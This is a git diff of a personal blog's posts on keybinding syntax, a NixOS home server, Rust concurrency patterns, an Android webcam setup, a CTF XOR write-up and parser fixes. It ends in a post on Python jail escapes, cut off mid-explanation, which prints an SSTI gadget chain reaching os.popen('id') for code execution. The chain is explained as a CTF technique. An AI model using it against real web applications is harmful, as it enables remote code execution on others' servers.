||||
```
|
||||
super + {a, b}
|
||||
```
|
||||
|
||||
Each variant of these shorthands must correspond to a variation in the command following the declaration.
|
||||
This naturally brings us to shorthands in commands. These are much more relaxed, each variant can be a
|
||||
chunk of a command instead of being restricted to a list of valid keys and modifiers.
|
||||
|
||||
If a declaration has shorthands in it, the command following it must also have shorthands.
|
||||
|
||||
```
|
||||
super + {a, b}
|
||||
notify-send {"you pressed a", "you pressed b"}
|
||||
```
|
||||
|
||||
Although there exists a bash syntax to do similar shorthands, I like to think of SWHKD shorthands akin
|
||||
to macros in Rust. Each binding _"compiles"_ to the possible Cartesian products formed by multiplying
|
||||
these variants.
|
||||
|
||||
To give you an example, a binding like this
|
||||
|
||||
```
|
||||
super + {ctrl, alt} + {a, b}
|
||||
notify-send {"incoming", "outgoing"} {a, b}
|
||||
```
|
||||
|
||||
would _"compile"_ to the following four bindings:
|
||||
|
||||
```
|
||||
super + ctrl + a
|
||||
notify-send "incoming" a
|
||||
|
||||
super + ctrl + b
|
||||
notify-send "incoming" b
|
||||
|
||||
super + alt + a
|
||||
notify-send "outgoing" a
|
||||
|
||||
super + alt + b
|
||||
notify-send "outgoing" b
|
||||
```
|
||||
|
||||

|
||||
|
||||
Obviously we need to make sure that the keys are properly escaped inside these shorthands. For example a comma,
|
||||
inside a shorthand acts as a separator. To specify a literal comma key, we would need
|
||||
to consider an escaped comma like `\,` inside a shorthand. The same applies to the curly braces themselves.
|
||||
|
||||
Shorthands also allow omitting variants when it comes to modifiers. In such cases, the omissions are represented
|
||||
by underscores and the plus sign usually outside the shorthand follows every non-empty variant. Take the following
|
||||
example:
|
||||
|
||||
```
|
||||
super + {_, alt + } h
|
||||
{htop, btm}
|
||||
```
|
||||
|
||||
This expands to the following bindings:
|
||||
|
||||
```
|
||||
super + h
|
||||
htop
|
||||
|
||||
super + alt + h
|
||||
btm
|
||||
```
|
||||
|
||||
Notice that there is no extra logic to parse the concatenator (`+`) like we would need to
|
||||
if the concatenator was outside the brace, because simply expanding the
|
||||
shorthand set yields the correct outputs.
|
||||
|
||||
To not break this exception, we will model shorthands with omissions separate from regular
|
||||
shorthands.
|
||||
|
||||
Now, what if you wanted to be even more succinct and define a bunch of shortcuts over a range
|
||||
of keys? That's where the next puzzle piece comes into play.
|
||||
|
||||
## Ranges
|
||||
|
||||
Ranges are technically a subset of shorthands, just as we have used commas so far to separate
|
||||
each element of a shorthand, SWHKD allows the use of dashes to specify a range of keys.
|
||||
|
||||
For example, you can use ranges to switch to workspaces:
|
||||
|
||||
```
|
||||
super + {1-6}
|
||||
cosmic-workspaces switch {1-6}
|
||||
```
|
||||
|
||||
This maps the keys 1 through 6 to those in the command to switch to the corresponding workspace.
|
||||
Ranges can also be used with bare elements separated by commas like the following example:
|
||||
|
||||
```
|
||||
super + (a, 1-6)
|
||||
cosmic-workspaces switch {\-\-overview, 1-6}
|
||||
```
|
||||
|
||||
Like the previous example, this one switches through workspaces 1 through 6 for the corresponding
|
||||
keys. However, pressing `Super` `a` shows us an overview of all the workspaces.
|
||||
|
||||
Just like regular shorthands, we need to escape the dash used in the range. That's why, we're using the escaped
|
||||
version of `--overview` flag.
|
||||
|
||||
The observations we have made so far will be used to build the grammar in the project.
|
||||
The demo repo called [sweet](https://github.com/lavafroth/sweet) (simple wayland event encoding text) is available ~~to my mentors for now but it should be public soon~~ publicly now.
|
||||
~~I need to double check and make sure my mentors are aware when I make it fully public.~~
|
||||
|
||||
In the next post I'll talk about defining the grammar for regular keys. See you then!
|
||||
98
content/post/a-tale-of-a-frugal-home-server.md
Normal file
@@ -0,0 +1,98 @@
|
||||
---
|
||||
title: "A Tale of a Frugal Home Server"
|
||||
date: 2025-01-04T10:04:37+05:30
|
||||
draft: true
|
||||
tags:
|
||||
- NixOS
|
||||
- Home Server
|
||||
- Automation
|
||||
- Jellyfin
|
||||
- Photoprism
|
||||
---
|
||||
|
||||
> Note: This post is a draft
|
||||
|
||||
Having run an on-premise server for the past two years, I think my setup has finally
|
||||
matured enough to be worth talking about.
|
||||
|
||||
At any point, you can check out the source code for the server's infrastructure [here](https://github.com/lavafroth/dotfiles/tree/main/hosts/rahu) for a concrete example.
|
||||
For each service I talk about, I will also link the respective definitions in my config.
|
||||
|
||||
My minimalist mindset has unsurprisingly aided the architecture of my server.
|
||||
Throughout the rest of the post, you will come across the following broad strokes:
|
||||
|
||||
- Easy is not always simple
|
||||
- Simple is better than easy
|
||||
- There must be one (and exactly one) way of doing something
|
||||
|
||||
## Hardware
|
||||
|
||||
The server is an old laptop which was on the verge becoming e-waste. Despite having a touchscreen
|
||||
display, the LCD had been battered into shards, making it no better than a shiny paperweight.
|
||||
|
||||
Although one could have kept the display, I carefully disassembled the machine to disconnect the corresponding
|
||||
ribbon cable because we are aiming for a headless setup. Removing the display also reduces the power draw.
|
||||
|
||||

|
||||
|
||||
## Software
|
||||
|
||||
I have seen a lot of people grow monstrous fleets of docker containers in the name of "simplicity" and ease of use.
|
||||
Yet others take this further with dedicated operating systems like CasaOS to install containerized services in a single click.
|
||||
|
||||
Sure, these solutions might be easy but they are certainly not simple.
|
||||
Containers introduce the overhead of Linux kernel namespaces. This means
|
||||
accessing files on the host additionally requires creating a mount namespace.
|
||||
|
||||
To avoid all of that overhead, I opted for NixOS.
|
||||
|
||||
With NixOS, I can define the state of my system in a single configuration file, ensuring that the services
|
||||
are running close to bare metal without any abstractions. Most of the services require adding something along the lines of
|
||||
|
||||
```nix
|
||||
services.myservicename.enable = true;
|
||||
```
|
||||
|
||||
to the configuration file and issuing a system rebuild with the `nixos-rebuild` command.
|
||||
|
||||
### Storage Management
|
||||
|
||||
Initially, I had configured three different routes to transfer files to the server.
|
||||
Of these, only one service is in use today.
|
||||
|
||||
#### Syncthing
|
||||
I had enabled Syncthing to automatically synchronize media from my phone. While it is a decent solution for a lot
|
||||
of use cases, _it does not support partially sharing the contents of a directory_. This annoying 'all or nothing' nature
|
||||
of Syncthing's file sharing is what drove me away from it.
|
||||
|
||||
#### Samba
|
||||
A lot of people recommended samba because of its support on almost all platforms. However, it turned out to be extremely
|
||||
slow. Yes, it boasts fancy video streaming capabilities but there are better solutions to building a media library than
|
||||
manually searching for a file like a caveman.
|
||||
|
||||
#### SSHFS ([source](https://github.com/lavafroth/dotfiles/blob/c17a6053211145b08815cfaa0fe645c449e55ebd/hosts/rahu/configuration.nix#L154))
|
||||
|
||||
SSHFS is the sneaky third option that made the win! It is often referred to as SFTP (Secure File Transfer Protocol)
|
||||
but the filesystem is usually FUSE mounted as `sshfs`.
|
||||
|
||||
The added advantage is that the connections go over SSH and uses the same credentials we would use to log into the server
|
||||
as our user.
|
||||
|
||||
SFTP is fast and available on almost all platforms:
|
||||
- Linux: Native support
|
||||
- Android: Native support on some devices. Alternatively, use [Material Files](https://play.google.com/store/apps/details?id=me.zhanghai.android.files&hl=en-US)
|
||||
- Windows: Supported through [WinSCP](https://winscp.net/eng/index.php)
|
||||
- iOS: Suppported through [Pisth](https://pisth.github.io/ios/)
|
||||
|
||||
### Freedom from the Botnet
|
||||
|
||||
Finally, we can talk about weeding out the proprietary services that are holding us back
|
||||
and replacing them with more privacy respecting alternatives.
|
||||
|
||||
#### Google Photos → Photoprism ([source](https://github.com/lavafroth/dotfiles/blob/c17a6053211145b08815cfaa0fe645c449e55ebd/hosts/rahu/configuration.nix#L19C1-L27C5))
|
||||
|
||||
Since I backup my phone's camera roll to the server, it's often nice to have these photos and videos
|
||||
tagged and organized. Photoprism packs all the functionality of Google Photos including tagging people,
|
||||
pets and places in photos, as well as searching through them along the timeline.
|
||||
|
||||

|
||||
@@ -0,0 +1,173 @@
|
||||
---
|
||||
title: "Abstracting Structured Patterns in Concurrent Programming"
|
||||
date: 2023-12-06T10:58:10+05:30
|
||||
tags:
|
||||
- Meta
|
||||
- Concurrency
|
||||
- Rust
|
||||
---
|
||||
|
||||
> I hope this article provides a solid blueprint for building a concurrency management API.
|
||||
If you have questions or feel that I have missed something, feel free to talk about it in this repository's [issue tracker](https://github.com/lavafroth/lavafroth.github.io/issues) or the [discussion board](https://github.com/lavafroth/lavafroth.github.io/discussions).
|
||||
|
||||
In recent months, I have come across multiple articles talking about the need
|
||||
of structured concurrency in modern programming languages as a built-in. Notably, in the article [Notes on structured concurrency, or: Go statement considered harmful](https://vorpus.org/blog/notes-on-structured-concurrency-or-go-statement-considered-harmful/),
|
||||
the author compares the `go` statement used to spawn coroutines to `goto` statements used
|
||||
for jumping to other parts of code in early languages like COBOL.
|
||||
|
||||
With time we are introduced to structured pardigms like `if-else`, `loop` and `match`
|
||||
(your language might call it `switch`) blocks, abstracting over the basic idea of `goto`
|
||||
to make it understandable and less dangerous to work with.
|
||||
|
||||
The article ends with the author introducing nurseries, a controlled API to spawn,
|
||||
observe, await or cancel coroutines. My idea is to extend this further to generalize over
|
||||
patterns observed in a large number of projects.
|
||||
|
||||
All of this begins with the simple concept of reusable components.
|
||||
|
||||
I will talk mostly about abstract concepts but at the end of each section, I will also try to provide concrete
|
||||
analogies in terms of the Rust programming language. I choose Rust because it is memory safe with lesser footguns
|
||||
and has tagged enums which we will utilize in a component. Implementing this should nevertheless remain straightforward
|
||||
for other languages.
|
||||
|
||||
The accompanying diagrams will follow these notations:
|
||||
- Coroutines are represented as nodes.
|
||||
- The solid lines connecting nodes that don't have arrowheads (called *spawn lines*) represent a coroutine spawned from the parent.
|
||||
- Coroutines will always be spawned from left to right.
|
||||
- Spawn lines colored in green along with emerging nodes represent coroutines managed by the API.
|
||||
- Solid lines with arrowheads represent some resource being sent from the tail end to the head end.
|
||||
|
||||
## Collector
|
||||
|
||||
The collector is arguably the simplest of the components. It consumes results
|
||||
from the coroutines spawned by the user and relays them back into the main
|
||||
routine. This component can be part of the main routine, such as in the case of
|
||||
a loop receiving results from a channel. It may also be spawned as a separate
|
||||
coroutine in case the main routine has other important computing to do and is
|
||||
performing long polling with loops.
|
||||
|
||||
In case of long polling, the task of polling every user-spawned coroutine is deferred to the collector.
|
||||
|
||||
In the following diagram, the rectangle on the extreme right is the collector, spawned separately from the main function.
|
||||
|
||||
{{< math Collector.svg >}}
|
||||
|
||||
A program with structured concurrency will always end with a collector. Even if the user-spawned coroutines have no result to send back to `main`,
|
||||
it should at the bare minimum indicate any errors or lack thereof with a unit type. This allows the main function to be fully aware of whether the
|
||||
the spawned functions are driven to completion or not.
|
||||
|
||||
In a language like Rust, one can expect the bare minimum for a user-spawned coroutine's return type
|
||||
to be `Result<()>`. More specifically, the return type of the `async` function would be `Future<Output = Result<()>>` that can be `await`ed.
|
||||
|
||||
## Functors
|
||||
|
||||
A functor pattern consists of a user-defined function spawned in a separate
|
||||
coroutine. The API wrapper around the function takes input through a channel
|
||||
and passes it through the function.
|
||||
|
||||
The following diagram depicts the functor pattern where a user defined function
|
||||
_f_ is spawned within a coroutine controlled by the API. The results from the purely user spawned coroutines are processed as they arrive, which might be out of order depending on network or other I/O latency.
|
||||
|
||||
{{< math Functor.svg >}}
|
||||
|
||||
Notice how the user spawned coroutines can only interact with the functor
|
||||
through the API abstraction wrapping around the function. This provides for a
|
||||
consistent function definitions while accounting for error propagation.
|
||||
|
||||
## Tagged Functors
|
||||
|
||||
A tagged functor pattern, in essence, is a group of functions, each consuming a
|
||||
different variant of the previous layer's result and producing different outputs
|
||||
sharing a trait. The API wraps these functions with a multiplexer that reads
|
||||
*tags* on the inputs and passes them to the appropriate function. This
|
||||
gives branching concurrent code first-class citizenship.
|
||||
|
||||
{{< math TaggedFunctor.svg >}}
|
||||
|
||||
The tags mapping inputs to corresponding functions can be implemented in two
|
||||
ways. The first way is available in pretty much all programming languages. The
|
||||
input structure (or object) has an enum field, the variants of which allow the
|
||||
multiplexer to pass them to the respective functions. However, this route is
|
||||
less ergonomic since the programmer has to define a field in their class or
|
||||
struct whose name is decided by the API.
|
||||
|
||||
The second route takes advantage of Rust's type system.
|
||||
In Rust, enums can have different structures inside each variant. This allows
|
||||
defining a macro that matches an enum variant to its respective function.
|
||||
|
||||
Here's how the use of the API might look like:
|
||||
|
||||
```rust
|
||||
let m = multiplexer!(MyEnum {
|
||||
Left(StructA) => function_a,
|
||||
Right(StructB) => function_b,
|
||||
});
|
||||
```
|
||||
|
||||
The macro expands to generate a function that does the following:
|
||||
- Wraps around the function in each arm so that they accept input through
|
||||
a channel.
|
||||
- Spawns these wrapped functions in their own coroutines, joining handles with
|
||||
them.
|
||||
- Optionally take a context as an input for cancellation of itself and
|
||||
coroutines spawned by it.
|
||||
- Uses a `match` block to dispatch the inner value of a struct to the respective
|
||||
channel.
|
||||
|
||||
The macro would use the `quote!` macro to generate the match arm for each
|
||||
variant like the following:
|
||||
|
||||
```rust
|
||||
quote!(
|
||||
match #enum_ident {
|
||||
// loop over the arms in the macro call
|
||||
#variant(#inner) => #inner_chan_tx.send(#inner);
|
||||
// ...
|
||||
}
|
||||
)
|
||||
```
|
||||
|
||||
Using the match statement inside the generated code allows the default exhaustive
|
||||
checking of the variants. Programmers have the choice to explicitly opt out of
|
||||
the exhaustive check using a catch-all branch like `_ => {}`.
|
||||
|
||||
In the above example, `m` generated by the macro is the handle to the function
|
||||
that kickstarts the management of the routines.
|
||||
|
||||
## Partially Open Loop
|
||||
|
||||
A partially open loop is a function, spawned off as a coroutine, that takes a
|
||||
collection of inputs and processes them to either produce outputs that it cannot
|
||||
further process or more inputs which are fed back into itself. This process
|
||||
continues until the collection of inputs gets completely exhausted.
|
||||
|
||||
{{< math PartiallyOpenLoop.svg >}}
|
||||
|
||||
This design can be implemented in multiple ways. The first
|
||||
is to return an object with an enum attribute inside it or having a 2 element tuple with
|
||||
the enum variant and the struct akin to function return types in *Go*.
|
||||
|
||||
Another way is to wrap the structures inside enum variants and explicitly tell the API
|
||||
which variant implies further processing and which one implies a finalized output.
|
||||
|
||||
I advocate for defining a trait on an enum that wraps the output type of the
|
||||
function which allows the API to call the associated method on the object to
|
||||
know whether it is a input or a final output.
|
||||
|
||||
Consider the following trait:
|
||||
|
||||
```rust
|
||||
pub trait PartiallyOpenLoop {
|
||||
fn is_final(&self) -> bool;
|
||||
}
|
||||
```
|
||||
|
||||
This allows the API to call the `is_final` method of the object after each pass
|
||||
and determine when it is ready to be sent off to the next layer.
|
||||
|
||||
# Conclusion
|
||||
|
||||
All of the above patterns are intentionally isolated, reusable components. This allows us to layer them one after the other in any order, any number of times (except for the collector).
|
||||
Hopefully, this makes the application code easier to understand and debug by making (even the concurrent) code flow in a more linear fashion.
|
||||
|
||||
That's all for now. Bye!
|
||||
121
content/post/android-phone-for-webcam-nixos.md
Normal file
@@ -0,0 +1,121 @@
|
||||
---
|
||||
title: "Using an Android Phone as a webcam in NixOS"
|
||||
date: 2024-03-10T08:47:08+05:30
|
||||
draft: false
|
||||
tags:
|
||||
- Workflow
|
||||
- Meta
|
||||
- NixOS
|
||||
- Android
|
||||
---
|
||||
|
||||
I recently had to attend an online meeting for a software development event.
|
||||
While my PC did have a decent microphone, the built-in camera has been damaged to the extent that the best it can capture is this:
|
||||
|
||||

|
||||
|
||||
No, it's not a close-up of the moon, it's the refraction caused by the scuffs to the lens plus other sciency stuff I'm not qualified enough to explain to you.
|
||||
|
||||
I was aware that one can use ADB to use an Android phone's camera as a makeshift webcam. Since I would need this ability for any future meetings as well, it was worth having the functionality packaged into a one click tool.
|
||||
|
||||
Enter NixOS. I have praised NixOS before and I'll do it again because of the sheer ease with which it allows me to create desktop entries for small scripts.
|
||||
This is going to be relevant later but I'm going to assume that you're running NixOS with home-manager enabled if you're following along. First we have to [enable developer mode and USB debugging on our phone](https://developer.android.com/studio/debug/dev-options#enable).
|
||||
|
||||
To interact with our phone, we will need `adb` and `scrcpy` as dependencies.
|
||||
If you have enabled flakes run the following:
|
||||
|
||||
```sh
|
||||
nix shell nixpkgs#scrcpy nixpkgs#android-tools
|
||||
```
|
||||
|
||||
If you don't have flakes enabled, run the following:
|
||||
|
||||
```sh
|
||||
nix-shell -p scrcpy android-tools
|
||||
```
|
||||
|
||||
Next, we connect our phone to our PC with a cable (or through ADB TCP/IP) and list all the cameras by running the following:
|
||||
|
||||
```sh
|
||||
scrcpy --list-cameras
|
||||
```
|
||||
|
||||
You must allow any prompt on your phone requesting access to it from the
|
||||
computer, after which, you should see an output like the following:
|
||||
|
||||
```
|
||||
[server] INFO: List of cameras:
|
||||
--camera-id=0 (back, 4608x3456, fps=[10, 15, 24, 30])
|
||||
--camera-id=1 (front, 2304x1728, fps=[15, 24, 30])
|
||||
--camera-id=2 (back, 3264x2448, fps=[15, 24, 30])
|
||||
--camera-id=3 (back, 1600x1200, fps=[15, 24, 30])
|
||||
--camera-id=4 (back, 1600x1200, fps=[15, 24, 30])
|
||||
--camera-id=5 (back, 4608x3456, fps=[10, 15, 24, 30])
|
||||
--camera-id=6 (back, 4608x3456, fps=[10, 15, 24, 30])
|
||||
--camera-id=7 (back, 4608x3456, fps=[10, 15, 24, 30])
|
||||
```
|
||||
|
||||
Note down the number associated with the camera you want to use. Alternatively, you can also note whether the camera you wish to use is the front or the back camera.
|
||||
|
||||
Add the following to your `configuration.nix`:
|
||||
|
||||
```nix
|
||||
boot = {
|
||||
kernelModules = [ "v4l2loopback" ];
|
||||
extraModulePackages = [ pkgs.linuxPackages.v4l2loopback ];
|
||||
extraModprobeConfig = ''
|
||||
options v4l2loopback exclusive_caps=1 card_label="Virtual Webcam"
|
||||
'';
|
||||
};
|
||||
```
|
||||
|
||||
This enables the `v4l2loopback` kernel module to create a dummy video interface which allows us to route any video to this virtual camera.
|
||||
In the extra options for this module, we have to add `exclusive_caps=1` to make sure that the virtual camera exclusively announces itself as an output device.
|
||||
This is important for compatibility with services like Zoom and Google Meet.
|
||||
|
||||
In the home-manager config for your user add the following:
|
||||
|
||||
```nix
|
||||
home.xdg.desktopEntries.andcam = {
|
||||
name = "Android Virtual Camera";
|
||||
exec = "${pkgs.writeScript "andcam" ''
|
||||
${pkgs.android-tools}/bin/adb start-server
|
||||
${pkgs.scrcpy}/bin/scrcpy --camera-facing=back --video-source=camera --no-audio --v4l2-sink=/dev/video0 -m1024
|
||||
''}";
|
||||
};
|
||||
```
|
||||
|
||||
This creates a desktop entry with the name _"Android Virtual Camera"_ and runs
|
||||
the script in the `exec` field.
|
||||
|
||||
Here's a breakdown of the script:
|
||||
|
||||
- The first line starts an ADB server required for `scrcpy` to pick up our device.
|
||||
- The second line runs `scrcpy` to pass the phone's camera to the dummy virtual camera spawned by the `v4l2loopback` kernel module.
|
||||
|
||||
We can use a named camera with the `--camera-facing` flag as I did here for
|
||||
the back camera using `--camera-facing=back`. If you noted a camera ID eariler,
|
||||
you can replace the `--camera-facing=back` with `--camera-id=` followed by the
|
||||
identifying number.
|
||||
|
||||
For example, if you were to use the camera with the ID 0, you would add the following instead:
|
||||
|
||||
```nix
|
||||
home.xdg.desktopEntries.andcam = {
|
||||
name = "Android Virtual Camera";
|
||||
exec = "${pkgs.writeScript "andcam" ''
|
||||
${pkgs.android-tools}/bin/adb start-server
|
||||
${pkgs.scrcpy}/bin/scrcpy --camera-id=0 --video-source=camera --no-audio --v4l2-sink=/dev/video0 -m1024
|
||||
''}";
|
||||
};
|
||||
```
|
||||
|
||||
Now rebuild your system and reboot.
|
||||
|
||||
That's it! Connect your phone to your PC and run on the _"Android Virtual Camera"_ menu entry.
|
||||
|
||||
I was impressed that this has been possible on Linux since 2018 while
|
||||
[Microsoft is introducing this feature now to Windows 11](https://blogs.windows.com/windows-insider/2024/02/29/ability-to-use-a-mobile-devices-camera-as-a-webcam-on-your-pc-begins-rolling-out-to-windows-insiders/).
|
||||
|
||||
Remember kids, what Windows can be tomorrow, Linux is today. That's all for now,
|
||||
see you around!
|
||||
104
content/post/compact-xor-crypto-challenge-AmateursCTF-2023.md
Normal file
@@ -0,0 +1,104 @@
|
||||
---
|
||||
title: "Compact XOR"
|
||||
tags:
|
||||
- AmateursCTF
|
||||
- CTF
|
||||
- Cryptography
|
||||
date: 2023-08-24T18:05:59+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
# Description
|
||||
|
||||
I found some hex in a file called fleg, but I’m not sure how it’s encoded. I’m pretty sure it’s some kind of xor…
|
||||
|
||||
# Exploration
|
||||
|
||||
We begin by creating a new rust project.
|
||||
|
||||
```sh
|
||||
cargo new amateurs
|
||||
cd amateurs
|
||||
cargo add hex
|
||||
cargo add itertools
|
||||
```
|
||||
|
||||
Let's decode the hexadecimal contents of the file using the following Rust code:
|
||||
|
||||
```rust
|
||||
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
let bytes = hex::decode("610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944")?;
|
||||
let stream = String::from_utf8_lossy(&bytes);
|
||||
println!("{:?}", stream);
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
To execute the code, issue the following.
|
||||
|
||||
```sh
|
||||
cargo run
|
||||
```
|
||||
|
||||
This gives us a string with every other character being non-printable.
|
||||
|
||||
```
|
||||
"a\u{c}a\u{15}e\u{10}r\u{1}C\u{17}F=s\u{12}v\u{13}s,s\u{3}a\u{2}e:b\u{17}t+p\u{1c}a\u{8}n\u{1a}e\u{1d}t+i\u{7}_/l\ri\u{7}_,i\u{e}h\u{1c}_g6\u{4}e\u{3}d\u{2}9D"
|
||||
```
|
||||
|
||||
Notice how each odd numbered character spells out the corresponding character for an "amateursCTF{...}" flag.
|
||||
|
||||
```rust
|
||||
let mut odd_bytes = bytes.iter().step_by(2);
|
||||
let odd_bytes_vec: Vec<u8> = odd_bytes.clone().copied().collect();
|
||||
let odd_characters = String::from_utf8_lossy(&odd_bytes_vec);
|
||||
println!("{:?}", odd_characters);
|
||||
```
|
||||
|
||||
This code gives us the following result:
|
||||
|
||||
```
|
||||
"aaerCFsvssaebtpaneti_li_ih_6ed9"
|
||||
```
|
||||
|
||||
On further inspection, it appears that the first character of the raw bytes, 'a', **xor**ed with the second byte, 0xC results in the character 'm'.
|
||||
After this transformation, the first 3 bytes spell "ama" like the start of an "amateursCTF{...}" flag.
|
||||
|
||||
The above observation implies that every other character is the **xor** of its previous character and its original counterpart. Since **xor** is an involuntary function,
|
||||
we can now reverse this transformation by **xor**ing them back with their previous characters.
|
||||
|
||||
```rust
|
||||
let even_bytes = bytes.iter().skip(1).step_by(2);
|
||||
|
||||
let recovered = odd_bytes.clone().zip(even_bytes).map(|(a, b)| a ^ b);
|
||||
let solution: Vec<u8> = itertools::interleave(odd_bytes.copied(), recovered).collect();
|
||||
println!("{}", String::from_utf8_lossy(&solution));
|
||||
```
|
||||
|
||||
The final code looks like the following:
|
||||
|
||||
```rust
|
||||
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
let bytes = hex::decode("610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944")?;
|
||||
let stream = String::from_utf8_lossy(&bytes);
|
||||
println!("{:?}", stream);
|
||||
let odd_bytes = bytes.iter().step_by(2);
|
||||
|
||||
let odd_bytes_vec: Vec<u8> = odd_bytes.clone().copied().collect();
|
||||
let odd_characters = String::from_utf8_lossy(&odd_bytes_vec);
|
||||
println!("{:?}", odd_characters);
|
||||
|
||||
let even_bytes = bytes.iter().skip(1).step_by(2);
|
||||
|
||||
let recovered = odd_bytes.clone().zip(even_bytes).map(|(a, b)| a ^ b);
|
||||
let solution: Vec<u8> = itertools::interleave(odd_bytes.copied(), recovered).collect();
|
||||
println!("{}", String::from_utf8_lossy(&solution));
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Running this code gives us the flag.
|
||||
|
||||
```
|
||||
amateursCTF{saves_space_but_plaintext_in_plain_sight_862efdf9}
|
||||
```
|
||||
112
content/post/edge-cases-you-shall-not-pass.md
Normal file
@@ -0,0 +1,112 @@
|
||||
---
|
||||
title: "Edge cases? You Shall Not Pass!"
|
||||
date: 2024-06-03T08:18:19+05:30
|
||||
tags:
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
This post is a part of a series that explains the architecture of the config parser
|
||||
I am building for swhkd as a part of Google Summer of Code. I highly recommend reading
|
||||
through the previous posts as I'll be referring to them from time to time.
|
||||
|
||||
In the last post I talked about key attributes that can be used as prefix to denote
|
||||
the timing of an event, on key press (`send` / `~`) or release (`on_release` / `@`). One nuanced
|
||||
case we did not cover was the use of these attributes inside shorthands.
|
||||
|
||||
If a user is supplying a config file with a shorthand along with any of these attributes, should the
|
||||
attribute remain outside the shorthand or be prefixed for each variant inside the shorthand? Consider
|
||||
the following two cases: one where the attribute is outside the shorthand context
|
||||
|
||||
```
|
||||
super + @{a, b, c-f}
|
||||
...
|
||||
```
|
||||
|
||||
and another with the attribute inside the shorthand context.
|
||||
|
||||
```
|
||||
super + {@a, b, c-f}
|
||||
...
|
||||
```
|
||||
|
||||
We can notice that while the first case is easier to implement, the second case gives us more granularity where different keys can have different attributes.
|
||||
However, this introduces another hidden complexity that we have to tackle, what if range bounds have different attributes? Take the following example:
|
||||
|
||||
```
|
||||
super + {~a-@f}
|
||||
...
|
||||
```
|
||||
|
||||
What does it mean to have a range with the keypress send event for `a` to the keypress release event for `f`? Should the elided inbetweens have a `send` or an `on_release`
|
||||
modifier? The original parser also conveniently sidesteps this entirely by not entertaining attributes in shorthands (bruh).
|
||||
Since we can never be sure of what the user is trying to convey in such cases, our best attempt at handling this would be to simply throw an error to the user.
|
||||
|
||||
Thus, our new parser adds the ability to have attributes inside a shorthand as long as range bounds have the same attribute, all the while maintaining backward compatibility
|
||||
with the older parser!
|
||||
|
||||
Now let's come to the second issue that I discovered during some manual testing this week. I supplied the following config to my parser
|
||||
|
||||
```
|
||||
super + \+
|
||||
mpv ~/Music
|
||||
```
|
||||
|
||||
and to my horror, the parser parsed the following:
|
||||
|
||||
```
|
||||
Binding [Modifier("super"), Key { key: "", attribute: KeyAttribute(0x0) }] → mpv ~/Music
|
||||
```
|
||||
|
||||
Did you catch it? Take a closer look at the key field in the definition, the escaped key is parsed as empty for some reason.
|
||||
It turns out that the escaped keys that were part of the `shorthand_allow` expression were not consistently exposed as a rule
|
||||
for the code side. Thus, I forgot to parse them back as keys.
|
||||
|
||||
To fix this, we restructure the expressions for keys in normal and shorthand contexts.
|
||||
|
||||
```python
|
||||
keys_always_escaped = _{ "\\~" | "\\@" | "\\+" | "\\\\" }
|
||||
key_base = { keys_always_escaped | ^"enter" | ^"return" | ASCII_ALPHANUMERIC }
|
||||
|
||||
key_attributes = _{ send? ~ on_release? }
|
||||
key_normal = { key_attributes ~ (key_base | "," | "-") }
|
||||
key_in_shorthand = { !shorthand_deny ~ key_attributes ~ (shorthand_allow | key_base) }
|
||||
```
|
||||
|
||||
This makes our life a tad bit easier because for every match of a `key_normal` or a `key_in_shorthand`,
|
||||
we can easily extract the variants of `key_attributes` if any as well as the key itself from the `key_base` or `shorthand_allow`.
|
||||
|
||||
Finally, let get to unescaping the keys themselves. Initially, the idea was to use `unescape` function from the snailquote crate
|
||||
since it allows unescaping any escaped sequence, be it ASCII or unicode. However, we quickly find that we also have to check
|
||||
whether the keys we just unescaped are supposed to escaped in the first place.
|
||||
|
||||
It makes more sense here to write a small function ourselves to both check for values we know must be escaped as well as escaping
|
||||
them.
|
||||
|
||||
```rust
|
||||
fn unescape(s: &str) -> &str {
|
||||
let chars: Vec<_> = s.chars().collect();
|
||||
let ['\\', ch] = &chars[..] else {
|
||||
return s;
|
||||
};
|
||||
// Pest guarantees this for us. Still keeping a bit of sanity check.
|
||||
assert!(matches!(ch, '{' | '}' | ',' | '\\' | '-' | '+' | '~' | '@'));
|
||||
&s[1..]
|
||||
}
|
||||
```
|
||||
|
||||
With this new function, our parser correctly unescapes the keys like so:
|
||||
|
||||
```
|
||||
Binding [Modifier("super"), Key { key: "+", attribute: KeyAttribute(0x0) }] → mpv ~/Music
|
||||
```
|
||||
|
||||
Okay, that's all for now. I know I was supposed to talk about modifiers. I will do that in
|
||||
the next post because fixing this bug and keeping logs of why I did it felt more important.
|
||||
|
||||
See you soon!
|
||||
166
content/post/gadgeting-in-python-jails.md
Normal file
@@ -0,0 +1,166 @@
|
||||
---
|
||||
title: "Gadgeting in Python Jails"
|
||||
tags:
|
||||
- Python
|
||||
- Sandbox Escape
|
||||
date: 2021-12-09T09:52:29+05:30
|
||||
draft: false
|
||||
---
|
||||
|
||||
We've all been there. That one CTF that wants to test your object oriented skills by confining you to a python jail.
|
||||
Additionally some might even keep `builtins` and `eval` out of reach.
|
||||
|
||||
[Here](https://www.youtube.com/watch?v=SN6EVIG4c-0) is a cool video explanation by @pwnfunction on server side template
|
||||
injection wherein he mentions a way to "gadget" our way out of Flask's Jinja2 backend to get remote code execution.
|
||||
Kudos to him for sharing this technique.
|
||||
|
||||
For those of you reluctant to watch a 10 minute video (although I'd highly recommend watching it), here's the gist of it:
|
||||
|
||||
```python
|
||||
''.__class__
|
||||
.__base__
|
||||
.__subclasses__()[141]
|
||||
.__init__
|
||||
.__globals__['sys']
|
||||
.modules['os']
|
||||
.popen('id')
|
||||
.read()
|
||||
```
|
||||
|
||||
First, we get the class of the string, that is, the `str` class.
|
||||
In python's object oriented world, every object inherits from the base class called `object`.
|
||||
Here, we access that using the `__base__` magic (dunder) attribute.
|
||||
Next, we list out all the subclasses of `object`, in other words, all the classes that inherit from this base class.
|
||||
Choosing the `141`th element of the list `warnings.catch_warnings` (we'll come back to this later),
|
||||
we list out its globals during initialization using
|
||||
the `__init__.__globals__` attribute. Then we can get a handle to the builtin `sys` module, which uses the `os` modules
|
